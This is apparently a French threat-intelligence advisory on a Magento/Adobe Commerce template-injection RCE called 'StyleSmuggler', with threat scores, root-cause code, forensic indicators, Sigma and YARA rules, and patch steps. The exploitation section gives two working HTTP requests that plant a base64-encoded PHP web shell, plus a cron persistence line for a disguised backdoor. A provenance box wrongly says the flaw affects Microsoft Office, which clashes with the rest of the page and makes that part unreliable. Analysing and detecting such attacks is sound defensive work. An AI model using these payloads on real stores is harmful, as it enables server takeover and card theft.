Aller au contenu

CVE-2026-75650 : exécution de code arbitraire à distance sans authentification par injection de template StyleSmuggler dans Adobe commerce et magento

HERMES

HERMES THREAT SCORE & MENACE D'EXPLOITATION ACTIVE EN CONDITIONS RÉELLES

Cible : Adobe Commerce & Magento Open Source — Moteur de gabarits d'email & sous-système de notification
Confiance : 99%
99 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 (10.0 Critique) et le score de menace Hermes (99 EXTRÊME) convergent pour signaler le péril absolu représenté par CVE-2026-75650. Surnommée « StyleSmuggler », cette vulnérabilité zero-day pré-authentification fait l'objet d'une militarisation active depuis le 4 septembre 2026 et a été intégrée au catalogue CISA KEV le 8 septembre 2026. Les attaquants combinent un empoisonnement de journaux applicatifs à l'injection de styles CSS dans les gabarits d'emails transactionnels pour exécuter du code PHP arbitraire sans identifiants. Les groupes criminels installent immédiatement des portes dérobées furtives en Rust usurpant les processus du noyau (kworker) et injectent des skimmers de cartes bancaires Magecart dans les pages de paiement.

HASS

SCORE DE SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT DE FLUX E-COMMERCE

Cible : Flux transactionnels automatisés, démons de traitement des commandes & agents d'assistance
Confiance : 88%
65 / 100
MODÉRÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 12 / 20
Accès aux outils & APIs 14 / 20
Privilege 14 / 15
Persistence 13 / 15
External Impact 6 / 15
Propagation 6 / 15
⚖️ Divergence & Justification opérationnelle

Bien qu'il s'agisse principalement d'une compromission de serveur web e-commerce, les déploiements Magento contemporains intègrent des agents IA pour la gestion dynamique des stocks et la détection des fraudes. La compromission du serveur hôte livre aux attaquants le contrôle total des bases de données exploitées par ces agents, permettant la falsification des transactions et l'empoisonnement des données d'apprentissage.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-75650: Unauthenticated Remote Code Execution viaVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :

Adobe Commerce constitue la dorsale marchande d’entreprises internationales de premier plan. La vulnérabilité réside dans le sous-système de traitement des gabarits et de notification transactionnelle.

ParamètreSpécification techniqueSignification opérationnelle
Identifiant CVECVE-2026-75650NVD, CISA KEV, Bulletin Adobe APSB26-146
Classe de vulnérabilitéInjection de gabarit côté serveur (CWE-1336 / CWE-94)Évaluation dynamique de directives injectées lors de l’inlining CSS
Composant vulnérableMagento\Email\Model\Template\Filter, gestionnaire de relance de paiementMoteur de rendu d’emails et module de style CSS
Nom de codeStyleSmugglerCampagne active déployant des backdoors furtives en Rust
Vecteur d’attaqueRéseau (AV:N) sans authentificationPoints d’accès publics du panier et de validation de commande
Privilèges requisAucun (PR:N)Faille zero-day pré-authentification
Interaction utilisateurAucune (UI:N)Exécution déclenchable sans intervention d’un utilisateur
Exploitation ActiveCONFIRMÉE DANS LA NATURE (CISA KEV le 08/09/2026)Attaques observées en production dès le 04/09/2026
Versions affectéesCommerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9Toutes les boutiques non corrigées
Version corrigéeAPSB26-146 (Patch VULN-39341)Applique un bac à sable strict et interdit l’inclusion de fichiers locaux

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Historiquement, le moteur de gabarits de Magento (Magento\Email\Model\Template\Filter) filtrait strictement les directives autorisées ({{config path="..."}}, {{layout handle="..."}}) en interdisant l’évaluation directe de code PHP.

CVE-2026-75650 contourne ces sécurités par une cinématique en deux temps :

sequenceDiagram
autonumber
actor Attaquant
participant Boutique as Serveur web Magento
participant Disque as Système de fichiers (var/log/ var/report/)
participant Worker as Tâche asynchrone / Cron (email_reminder)
participant Moteur as Filtre de gabarits & inliner CSS
participant Système as Système d'exploitation hôte
Attaquant->>Boutique: Envoie une requête de paiement piégée avec charge PHP
Boutique->>Disque: Consigne le rapport d'échec / journal contenant la charge
Attaquant->>Boutique: Déclenche l'envoi de la relance d'échec de paiement
Boutique->>Worker: Met en file d'attente la tâche de génération d'email
Worker->>Moteur: Génère le gabarit avec directive d'inlining CSS
Moteur->>Disque: Récupère la feuille de style via traversée de chemin
Disque-->>Moteur: Renvoie le journal empoisonné contenant les balises PHP
Moteur->>Système: Évalue le code PHP via inclusion dynamique non isolée
Système-->>Attaquant: Ouvre un reverse shell / installe la backdoor Rust

Lors de la construction des emails, Magento injecte les styles CSS en ligne pour garantir une présentation homogène sur les clients de messagerie. L’utilitaire d’inlining résolvait dynamiquement les blocs <style>.

Lors de la résolution des chemins de fichiers CSS locaux, l’inliner acceptait des séquences de traversée de répertoires :

// Logique vulnérable dans le filtre d'email Magento
public function inlineCssDirective($construction)
{
$params = $this->getParameters($construction[2]);
$filePath = $params['file']; // Contrôlé par l'attaquant via le rapport piégé
if ($this->isAllowedPath($filePath)) {
// ANOMALIE : isAllowedPath considérait var/report/ et var/log/ comme légitimes
$content = file_get_contents($this->directoryList->getRoot() . '/' . $filePath);
// Le compilateur évalue dynamiquement les expressions imbriquées
return $this->processCustomStyleDirectives($content);
}
return '';
}

Les répertoires var/log/ et var/report/ étant jugés internes au projet, le contenu du fichier empoisonné était ingéré. Lors de la compilation des directives de style, le moteur procédait à une évaluation dynamique de code PHP, exécutant la charge au sein du processus serveur.


3. Vecteurs de menace, cinématique d’attaque & exploitation

Section intitulée « 3. Vecteurs de menace, cinématique d’attaque & exploitation »

L’attaquant initialise la chaîne par une requête de paiement non authentifiée sur l’API publique du panier d’invité :

POST /rest/V1/guest-carts/abc123def456/payment-information HTTP/1.1
Host: boutique.entreprise-victime.fr
Content-Type: application/json
{
"paymentMethod": {
"method": "checkmo",
"additional_data": {
"transaction_id": "tx_<?php file_put_contents('/var/www/html/pub/media/health.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTspOz8+')); ?>"
}
},
"billingAddress": {
"email": "attaquant@darkmail.org"
}
}

Le module consigne l’échec de la transaction dans var/log/exception.log.

L’attaquant sollicite ensuite la génération de l’email de notification d’échec en injectant la directive d’inclusion de style ciblant le journal empoisonné :

POST /rest/V1/guest-carts/abc123def456/reminder HTTP/1.1
Host: boutique.entreprise-victime.fr
Content-Type: application/json
{
"template_override": "{{css file=\"var/log/exception.log\"}}"
}

Le moteur traite la directive CSS, interprète le fichier de log contenant le code PHP et dépose le web shell /pub/media/health.php.


4. Traces forensiques & analyse de la menace en conditions réelles

Section intitulée « 4. Traces forensiques & analyse de la menace en conditions réelles »

Les investigations DFIR menées sur les infrastructures marchandes compromises mettent en lumière un mode opératoire récurrent :

  1. Déploiement de portes dérobées en Rust : dans les 90 secondes suivant l’accès RCE initial, les attaquants déposent des binaires ELF Linux 64 bits compilés en Rust dans /dev/shm/, /tmp/ ou /var/tmp/.
  2. Masquage de processus (process masquerading) : le logiciel malveillant modifie son nom de processus en mémoire via l’appel système prctl(PR_SET_NAME, ...) pour imiter des processus légitimes du noyau :
    • [kworker/u64:2-events]
    • [fc-cache]
    • [jbd2/sda1-8]
  3. Persistance par tâches planifiées : les cyberattaquants créent des entrées cron dans /etc/cron.d/ ou dans /var/spool/cron/crontabs/www-data :
    Fenêtre de terminal
    */10 * * * * root /var/tmp/.fc-cache --daemon >/dev/null 2>&1
  4. Skimmers de cartes bancaires (magecart) : les attaquants altèrent les gabarits de validation de commande (vendor/magento/module-checkout/view/frontend/templates/onepage.phtml ou la table de base de données core_config_data) pour injecter du code JavaScript obfusqué qui dérobe les numéros de carte bancaire, dates d’expiration et cryptogrammes visuels.

Lors d’un audit de compromission sur une instance Magento :

  • Rechercher les fichiers récemment modifiés ou créés dans les dossiers média :
    Fenêtre de terminal
    find /var/www/html/pub/media -type f -mtime -14 -name "*.php"
  • Examiner les processus en cours d’exécution liés à des fichiers exécutables masqués :
    Fenêtre de terminal
    ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '(tmp|shm|var)'
  • Analyser les requêtes web associant des appels vers l’API guest-carts suivis d’appels vers des scripts PHP anormaux dans pub/media/.

Règle Sigma : processus système usurpé lancé par le serveur web (masquerading post-RCE)

Section intitulée « Règle Sigma : processus système usurpé lancé par le serveur web (masquerading post-RCE) »
title: Processus système usurpé initié par le serveur web (Post-RCE StyleSmuggler)
id: 8b671a90-341e-4cb2-a721-c75650000001
status: experimental
description: Détecte Apache ou PHP-FPM exécutant des binaires usurpant le nom de threads noyau kworker ou d'utilitaires système depuis des répertoires temporaires.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-16
references:
- https://helpx.adobe.com/security/products/magento/apsb26-146.html
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/php-fpm'
- '/apache2'
- '/httpd'
- '/nginx'
selection_masquerade:
Image|contains:
- 'kworker'
- 'fc-cache'
- 'jbd2'
- 'systemd-worker'
selection_path:
Image|contains:
- '/dev/shm'
- '/tmp'
- '/var/tmp'
- '/pub/media'
condition: selection_parent and (selection_masquerade or selection_path)
fields:
- ParentImage
- Image
- CommandLine
- User
level: critical
tags:
- attack.execution
- attack.t1059.004
- attack.defense_evasion
- attack.t1036.004
- cve.2026.75650

Règle YARA : détection de la porte dérobée Rust liée à StyleSmuggler

Section intitulée « Règle YARA : détection de la porte dérobée Rust liée à StyleSmuggler »
rule Linux_Backdoor_StyleSmuggler_Rust {
meta:
description = "Détecte la backdoor Linux en Rust déployée lors des attaques StyleSmuggler (CVE-2026-75650)"
author = "Hermes Codex Cyber Threat Intelligence"
date = "2026-09-16"
reference = "https://helpx.adobe.com/security/products/magento/apsb26-146.html"
cve = "CVE-2026-75650"
score = 95
strings:
$magic = { 7F 45 4C 46 }
$s1 = "kworker/u64:" ascii
$s2 = "/dev/shm/.session" ascii
$s3 = "src/transport/socks5.rs" ascii
$s4 = "magento_skimmer_relay" ascii
$rust = "rustc " ascii
condition:
$magic at 0 and ($rust and 2 of ($s*)) and filesize < 15MB
}

  1. Appliquer le correctif d’urgence VULN-39341 (Adobe APSB26-146) : Téléchargez et appliquez le correctif officiel fourni par Adobe ou mettez à jour votre installation via Composer :

    Fenêtre de terminal
    vendor/bin/ece-patches apply VULN-39341
    # Ou via Composer pour les branches corrigées :
    composer update magento/product-enterprise-edition --with-dependencies
    php bin/magento setup:upgrade
    php bin/magento cache:clean
  2. Procéder à une vérification forensique d’intégrité : L’exploitation active ayant précédé la publication du correctif, inspectez minutieusement les tâches planifiées, les connexions réseau et l’intégrité des fichiers sources :

    Fenêtre de terminal
    # Vérifier les connexions réseau sortantes établies par l'utilisateur web
    ss -tupn | grep -E '(php|nginx|apache)'
    # Recompiler les dépendances pour valider l'intégrité des classes
    php bin/magento setup:di:compile
  3. Renouveler la clé de chiffrement et les secrets de passerelles de paiement : Renouvelez la clé de chiffrement maîtresse de Magento (app/etc/env.php), les mots de passe de la base de données et les clés secrètes des passerelles bancaires (Stripe, Braintree, PayPal) :

    Fenêtre de terminal
    php bin/magento encryption:payment-data:update
  4. Interdire l’exécution directe de scripts PHP dans les dossiers statiques : Configurez Nginx pour bloquer sans exception l’exécution de tout fichier PHP au sein des répertoires d’envoi et de médias :

    location ~* ^/(pub/media|pub/static|var)/.*\.php$ {
    deny all;
    return 404;
    }